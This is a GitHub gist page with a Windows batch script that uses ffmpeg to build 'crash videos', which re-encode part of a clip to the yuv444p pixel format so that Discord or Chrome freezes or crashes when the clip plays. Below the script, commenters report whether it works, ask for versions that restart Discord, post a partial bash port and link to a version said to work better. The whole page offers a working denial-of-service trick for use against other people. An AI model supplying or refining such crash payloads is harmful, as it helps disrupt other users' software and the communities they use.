-
-
Save btarg/66bc2ead072614ebe9a47c35ae907f99 to your computer and use it in GitHub Desktop.
@echo off | |
title Discord Crash Video Creator | |
color c | |
echo ========================= NOTE ========================= | |
echo This script creates videos that crash Discord/Chrome. | |
echo Hardware acceleration must be enabled for it to work. | |
echo Crash videos will get you banned in some Discord groups! | |
echo. | |
echo FFmpeg needs to be installed for this to work: | |
echo https://youtu.be/qjtmgCb8NcE | |
echo ======================================================== | |
echo. | |
pause | |
WHERE ffmpeg | |
IF %ERRORLEVEL% NEQ 0 echo ffmpeg wasn't found. Please make sure it is installed correctly. && pause && exit | |
color 7 | |
cls | |
set /p filepath=Enter path to video file (or drag and drop the video here): | |
set timestamp=1 | |
set /p timestamp=How many seconds in should the video crash?: | |
echo. | |
echo Getting video duration... | |
ffprobe -i %filepath% -show_entries format=duration -v quiet -of csv="p=0" > tmpfile | |
set /p duration= < tmpfile | |
del tmpfile | |
echo Splitting video... | |
ffmpeg -i %filepath% -ss 0 -t %timestamp% part1.mp4 | |
ffmpeg -i %filepath% -ss %timestamp% -t %duration% part2.mp4 | |
echo Changing video properties... | |
ffmpeg -i part2.mp4 -pix_fmt yuv444p part2_new.mp4 | |
echo Creating file list... | |
echo file part1.mp4> file_list.txt | |
echo file part2_new.mp4>> file_list.txt | |
echo Creating output file... | |
ffmpeg -f concat -safe 0 -i file_list.txt -codec copy output.mp4 | |
echo Cleaning up old files... | |
del part1.mp4 | |
del part2.mp4 | |
del part2_new.mp4 | |
del file_list.txt | |
color a | |
echo Output video created! It is located at "%CD%\output.mp4" | |
echo. | |
pause |
how do you use it?
@BKSstudios do you still need help
i need help, if you could help me.
run it as a bat file
not crashing
Yeah same pacan, followed the tutorial and FFmpeg is all set up and I simply dragged a video I would like to crash in to the bat and the output file would be made, i'd send it to my group chat and it wouldn't crash at all, let alone my marked position, I think when you want to set seconds it just single digit like 1,10, etc and I also think you don't/shouldn't have to run the bat in administrator as when I try it doesn't let me drag a video in, thats all I think I know but yeah, not working for me.
Works but it makes the video very jittery. Any fix?
the videos produced from this dindn't crash discord
Any idea how to do the videos that restart discord?
the videos produced from this dindn't crash discord
They do for me but I need to move the playhead of the video
works like a charm for me
Any idea how to do the videos that restart discord?
I need this code
Yo so I'm navigating to c:\windows\system32\ and output.mp4 isn't there? It says "Output video created! It is located at "C:\Windows\system32\output.mp4" " and it just.. isn't there.
EDIT: Nevermind, I looked up and saw "access denied" so I ran the bat as admin and it worked!
So I was able to create the videos just fine and they do crash my discord, but no one else I'm not sure if I'm doing anything wrong but any insight is appreciated, thank you
I see the code. But where can I get the instructions to add the video to it?
The video just appears as 0 seconds in Discord and won't play at all.
Tried a different video, now it played, but didn't crash
there is no out put file in either system 32 or the bin folder
This one produces a different type of crash than other ones I've seen. It kind of just heavily lags my discord for a while, instead of restarting and disconnecting/reconnecting to the channel if you're in one.
Also this video I found works while hardware acceleration is off, but this program doesn't work with hardware acceleration off.
I have hardware acceleration off, it still does absolutely nothing
How would I tell it where ffmpeg is installed?
Works great as of mid may, also as link preview
How would I tell it where ffmpeg is installed?
add it to your PATH or change all ffmpeg commands to the full path of your exe
I've been trying to convert this to BASH for use in Linux, because Wine CMD can't use ffmpeg (to my knowledge). Problem is I know almost nothing about writing bash or reading batch, so it's a slow and messy process. But here is what ive got so far:
`#!/bin/bash
echo ========================= NOTE =========================
echo This script creates videos that crash Discord/Chrome.
echo Hardware acceleration must be enabled for it to work.
echo Crash videos will get you banned in some Discord groups!
echo -
echo FFmpeg needs to be installed for this to work
echo ========================================================
echo -
echo -
#set location [THIS NEEDS REWORK, idk how to store dir path into var]
echo What video do you want to use? [Full Path]
echo :
read PATHVID
echo Where is the output folder? [Full Path]
echo :
read PATHDIR
#set crash point
echo How many seconds in should the video crash?
echo -
read TIME
#set duration
echo Getting video duration...
ffprobe -i $PATHVID -show_entries format=duration -v quiet -of csv="p=0" > tmpfile
DUR= < tmpfile
rm tmpfile
#split video
echo Splitting video...
ffmpeg -i $PATHVID -ss 0 -t $TIME part1.mp4
sleep
ffmpeg -i $PATHVID -ss $TIME -t $DUR part2.mp4
TO BE CONTINUED
`
if anyone wants i made a version that actually crashes discord
https://gist.github.com/Incognito-100/83e188f3160a5afcd49743e35c7c9d2b
@hedgeridge If you use Bash do you really need the script?
the videos produced from this dindn't crash discord
hardware accel needs to be on
Man you can't just dump files into your system32. Run it in a normal directory like your desktop.
How do you use it?
ㅤ
i need help, if you could help me.